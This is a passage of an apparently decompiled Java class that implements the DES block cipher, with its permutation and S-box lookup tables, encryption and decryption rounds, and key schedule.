68289032, 139264, 1187840, 139272, 1187848, 139776, 1188352, 139784, 1188360, 67248128, 68296704, 67248136, 68296712, 67248640, 68297216, 67248648, 68297224}, {0, 512, 131072, 131584, 1, 513, 131073, 131585, 134217728, 134218240, 134348800, 134349312, 134217729, 134218241, 134348801, 134349313, 2097152, 2097664, 2228224, 2228736, 2097153, 2097665, 2228225, 2228737, 136314880, 136315392, 136445952, 136446464, 136314881, 136315393, 136445953, 136446465, 2, 514, 131074, 131586, 3, 515, 131075, 131587, 134217730, 134218242, 134348802, 134349314, 134217731, 134218243, 134348803, 134349315, 2097154, 2097666, 2228226, 2228738, 2097155, 2097667, 2228227, 2228739, 136314882, 136315394, 136445954, 136446466, 136314883, 136315395, 136445955, 136446467}, {0, 16, 536870912, 536870928, 1048576, 1048592, 537919488, 537919504, 2048, 2064, 536872960, 536872976, 1050624, 1050640, 537921536, 537921552, 67108864, 67108880, 603979776, 603979792, 68157440, 68157456, 605028352, 605028368, 67110912, 67110928, 603981824, 603981840, 68159488, 68159504, 605030400, 605030416, 4, 20, 536870916, 536870932, 1048580, 1048596, 537919492, 537919508, 2052, 2068, 536872964, 536872980, 1050628, 1050644, 537921540, 537921556, 67108868, 67108884, 603979780, 603979796, 68157444, 68157460, 605028356, 605028372, 67110916, 67110932, 603981828, 603981844, 68159492, 68159508, 605030404, 605030420}, {0, 4096, 65536, 69632, 33554432, 33558528, 33619968, 33624064, 32, 4128, 65568, 69664, 33554464, 33558560, 33620000, 33624096, 262144, 266240, 327680, 331776, 33816576, 33820672, 33882112, 33886208, 262176, 266272, 327712, 331808, 33816608, 33820704, 33882144, 33886240, 8192, 12288, 73728, 77824, 33562624, 33566720, 33628160, 33632256, 8224, 12320, 73760, 77856, 33562656, 33566752, 33628192, 33632288, 270336, 274432, 335872, 339968, 33824768, 33828864, 33890304, 33894400, 270368, 274464, 335904, 340000, 33824800, 33828896, 33890336, 33894432}, {0, 1024, 16777216, 16778240, 256, 1280, 16777472, 16778496, 268435456, 268436480, 285212672, 285213696, 268435712, 268436736, 285212928, 285213952, 524288, 525312, 17301504, 17302528, 524544, 525568, 17301760, 17302784, 268959744, 268960768, 285736960, 285737984, 268960000, 268961024, 285737216, 285738240, 8, 1032, 16777224, 16778248, 264, 1288, 16777480, 16778504, 268435464, 268436488, 285212680, 285213704, 268435720, 268436744, 285212936, 285213960, 524296, 525320, 17301512, 17302536, 524552, 525576, 17301768, 17302792, 268959752, 268960776, 285736968, 285737992, 268960008, 268961032, 285737224, 285738248}}; 8 | private static final int[][] spbox = new int[][]{{8421888, 0, 32768, 8421890, 8421378, 33282, 2, 32768, 512, 8421888, 8421890, 512, 8389122, 8421378, 8388608, 2, 514, 8389120, 8389120, 33280, 33280, 8421376, 8421376, 8389122, 32770, 8388610, 8388610, 32770, 0, 514, 33282, 8388608, 32768, 8421890, 2, 8421376, 8421888, 8388608, 8388608, 512, 8421378, 32768, 33280, 8388610, 512, 2, 8389122, 33282, 8421890, 32770, 8421376, 8389122, 8388610, 514, 33282, 8421888, 514, 8389120, 8389120, 0, 32770, 33280, 0, 8421378}, {1074282512, 1073758208, 16384, 540688, 524288, 16, 1074266128, 1073758224, 1073741840, 1074282512, 1074282496, 1073741824, 1073758208, 524288, 16, 1074266128, 540672, 524304, 1073758224, 0, 1073741824, 16384, 540688, 1074266112, 524304, 1073741840, 0, 540672, 16400, 1074282496, 1074266112, 16400, 0, 540688, 1074266128, 524288, 1073758224, 1074266112, 1074282496, 16384, 1074266112, 1073758208, 16, 1074282512, 540688, 16, 16384, 1073741824, 16400, 1074282496, 524288, 1073741840, 524304, 1073758224, 1073741840, 524304, 540672, 0, 1073758208, 16400, 1073741824, 1074266128, 1074282512, 540672}, {260, 67174656, 0, 67174404, 67109120, 0, 65796, 67109120, 65540, 67108868, 67108868, 65536, 67174660, 65540, 67174400, 260, 67108864, 4, 67174656, 256, 65792, 67174400, 67174404, 65796, 67109124, 65792, 65536, 67109124, 4, 67174660, 256, 67108864, 67174656, 67108864, 65540, 260, 65536, 67174656, 67109120, 0, 256, 65540, 67174660, 67109120, 67108868, 256, 0, 67174404, 67109124, 65536, 67108864, 67174660, 4, 65796, 65792, 67108868, 67174400, 67109124, 260, 67174400, 65796, 4, 67174404, 65792}, {-2143285248, -2147479488, -2147479488, 64, 4198464, -2143289280, -2143289344, -2147479552, 0, 4198400, 4198400, -2143285184, -2147483584, 0, 4194368, -2143289344, Integer.MIN_VALUE, 4096, 4194304, -2143285248, 64, 4194304, -2147479552, 4160, -2143289280, Integer.MIN_VALUE, 4160, 4194368, 4096, 4198464, -2143285184, -2147483584, 4194368, -2143289344, 4198400, -2143285184, -2147483584, 0, 0, 4198400, 4160, 4194368, -2143289280, Integer.MIN_VALUE, -2143285248, -2147479488, -2147479488, 64, -2143285184, -2147483584, Integer.MIN_VALUE, 4096, -2143289344, -2147479552, 4198464, -2143289280, -2147479552, 4160, 4194304, -2143285248, 64, 4194304, 4096, 4198464}, {128, 17039488, 17039360, 553648256, 262144, 128, 536870912, 17039360, 537133184, 262144, 16777344, 537133184, 553648256, 553910272, 262272, 536870912, 16777216, 537133056, 537133056, 0, 536871040, 553910400, 553910400, 16777344, 553910272, 536871040, 0, 553648128, 17039488, 16777216, 553648128, 262272, 262144, 553648256, 128, 16777216, 536870912, 17039360, 553648256, 537133184, 16777344, 536870912, 553910272, 17039488, 537133184, 128, 16777216, 553910272, 553910400, 262272, 553648128, 553910400, 17039360, 0, 537133056, 553648128, 262272, 16777344, 536871040, 262144, 0, 537133056, 17039488, 536871040}, {268435464, 270532608, 8192, 270540808, 270532608, 8, 270540808, 2097152, 268443648, 2105352, 2097152, 268435464, 2097160, 268443648, 268435456, 8200, 0, 2097160, 268443656, 8192, 2105344, 268443656, 8, 270532616, 270532616, 0, 2105352, 270540800, 8200, 2105344, 270540800, 268435456, 268443648, 8, 270532616, 2105344, 270540808, 2097152, 8200, 268435464, 2097152, 268443648, 268435456, 8200, 268435464, 270540808, 2105344, 270532608, 2105352, 270540800, 0, 270532616, 8, 8192, 270532608, 2105352, 8192, 2097160, 268443656, 0, 270540800, 268435456, 2097160, 268443656}, {1048576, 34603009, 33555457, 0, 1024, 33555457, 1049601, 34604032, 34604033, 1048576, 0, 33554433, 1, 33554432, 34603009, 1025, 33555456, 1049601, 1048577, 33555456, 33554433, 34603008, 34604032, 1048577, 34603008, 1024, 1025, 34604033, 1049600, 1, 33554432, 1049600, 33554432, 1049600, 1048576, 33555457, 33555457, 34603009, 34603009, 1, 1048577, 33554432, 33555456, 1048576, 34604032, 1025, 1049601, 34604032, 1025, 33554433, 34604033, 34603008, 1049600, 0, 1, 34604033, 0, 1049601, 34603008, 1024, 33554433, 33555456, 1024, 1048577}, {134219808, 2048, 131072, 134350880, 134217728, 134219808, 32, 134217728, 131104, 134348800, 134350880, 133120, 134350848, 133152, 2048, 32, 134348800, 134217760, 134219776, 2080, 133120, 131104, 134348832, 134350848, 2080, 0, 0, 134348832, 134217760, 134219776, 133152, 131072, 133152, 131072, 134350848, 2048, 32, 134348832, 2048, 133152, 134219776, 32, 134217760, 134348800, 134348832, 134217728, 131072, 134219808, 0, 134350880, 131104, 134217760, 134348800, 134219776, 134219808, 0, 134350880, 133120, 133120, 2080, 2080, 131104, 134217728, 134350848}}; 9 | 10 | public DES(long key) { 11 | this.setKey(key); 12 | } 13 | 14 | public long bytes2long(byte[] rd) { 15 | long dd = 0L; 16 | 17 | for (int i = 0; i <= 7; ++i) { 18 | dd = dd << 8 | (long) rd[i] & 255L; 19 | } 20 | 21 | return dd; 22 | } 23 | 24 | public long decrypt(long d) { 25 | d = this.ip(d); 26 | int l = (int) (d >>> 32); 27 | int r = (int) d; 28 | 29 | for (int i = 15; i >= 0; --i) { 30 | int t = l; 31 | l = r; 32 | r = t; 33 | int t1 = (t >>> 3 | t << 29) ^ this.subkey1[i]; 34 | int t2 = (t << 1 | t >>> 31) ^ this.subkey2[i]; 35 | l ^= spbox[0][t1 >>> 24 & 63] | spbox[1][t2 >>> 24 & 63] | spbox[2][t1 >>> 16 & 63] | spbox[3][t2 >>> 16 & 63] | spbox[4][t1 >>> 8 & 63] | spbox[5][t2 >>> 8 & 63] | spbox[6][t1 & 63] | spbox[7][t2 & 63]; 36 | } 37 | 38 | d = (long) l << 32 | (long) r & 4294967295L; 39 | return this.rip(d); 40 | } 41 | 42 | public long encrypt(long d) { 43 | d = this.ip(d); 44 | int l = (int) (d >>> 32); 45 | int r = (int) d; 46 | 47 | for (int i = 0; i <= 15; ++i) { 48 | int t1 = (r >>> 3 | r << 29) ^ this.subkey1[i]; 49 | int t2 = (r << 1 | r >>> 31) ^ this.subkey2[i]; 50 | l ^= spbox[0][t1 >>> 24 & 63] | spbox[1][t2 >>> 24 & 63] | spbox[2][t1 >>> 16 & 63] | spbox[3][t2 >>> 16 & 63] | spbox[4][t1 >>> 8 & 63] | spbox[5][t2 >>> 8 & 63] | spbox[6][t1 & 63] | spbox[7][t2 & 63]; 51 | int t = l; 52 | l = r; 53 | r = t; 54 | } 55 | 56 | d = (long) l << 32 | (long) r & 4294967295L; 57 | return this.rip(d); 58 | } 59 | 60 | private long ip(long d) { 61 | long t = (d << 36 ^ d) & -1085102596613472256L; 62 | d ^= t >>> 36 | t; 63 | t = (d << 48 ^ d) & -281474976710656L; 64 | d ^= t >>> 48 | t; 65 | t = (d << 30 ^ d) & 3689348813882916864L; 66 | d ^= t >>> 30 | t; 67 | t = (d << 24 ^ d) & 71777214277877760L; 68 | d ^= t >>> 24 | t; 69 | t = (d << 33 ^ d) & -6148914694099828736L; 70 | d ^= t >>> 33 | t; 71 | return d; 72 | } 73 | 74 | public void long2bytes(long sd, byte[] dd) { 75 | for (int i = 7; i >= 0; --i) { 76 | dd[i] = (byte) ((int) sd); 77 | sd >>>= 8; 78 | } 79 | 80 | } 81 | 82 | private long rip(long d) { 83 | long t = (d << 33 ^ d) & -6148914694099828736L; 84 | d ^= t >>> 33 | t; 85 | t = (d << 24 ^ d) & 71777214277877760L; 86 | d ^= t >>> 24 | t; 87 | t = (d << 30 ^ d) & 3689348813882916864L; 88 | d ^= t >>> 30 | t; 89 | t = (d << 48 ^ d) & -281474976710656L; 90 | d ^= t >>> 48 | t; 91 | t = (d << 36 ^ d) & -1085102596613472256L; 92 | d ^= t >>> 36 | t; 93 | return d; 94 | } 95 | 96 | public void setKey(long key) { 97 | long t = (key << 36 ^ key) & -1085102596613472256L; 98 | key ^= t >>> 36 | t; 99 | t = (key << 18 ^ key) & -3689573991287357440L; 100 | key ^= t | t >>> 18; 101 | t = (key << 9 ^ key) & -6196766167432910336L; 102 | key ^= t | t >>> 9; 103 | int d = (int) (key >>> 28 & 268435440L | key >>> 24 & 15L); 104 | int c = (int) (key << 20 & 267386880L | key << 4 & 1044480L | key >>> 12 & 4080L | key >>> 28 & 15L); 105 | 106 | for (int i = 0; i < 16; ++i) { 107 | if (ks[i]) { 108 | c = (c << 2 | c >>> 26) & 268435455; 109 | d = (d << 2 | d >>> 26) & 268435455; 110 | } else { 111 | c = (c << 1 | c >>> 27) & 268435455; 112 | d = (d << 1 | d >>> 27) & 268435455; 113 | } 114 | 115 | int t1 = kp[0][c >>> 22 & 63] | kp[1][c >>> 16 & 48 | c >>> 15 & 15] | kp[2][c >>> 9 & 60 | c >>> 8 & 3] | kp[3][c >>> 3 & 32 | c >>> 1 & 24 | c & 7]; 116 | int t2 = kp[4][c >>> 22 & 63] | kp[5][c >>> 15 & 48 | c >>> 14 & 15] | kp[6][c >>> 7 & 63] | kp[7][c >>> 1 & 60 | c & 3]; 117 | this.subkey1[i] = t1 & -16777216 | (t1 & '\uff00') << 8 | (t2 & -16777216) >>> 16 | (t2 & '\uff00') >>> 8; 118 | this.subkey2[i] = (t1 & 16711680) << 8 | (t1 & 255) << 16 | (t2 & 16711680) >>> 8 | t2 & 255; 119 | } 120 | 121 | } 122 | } --------------------------------------------------------------------------------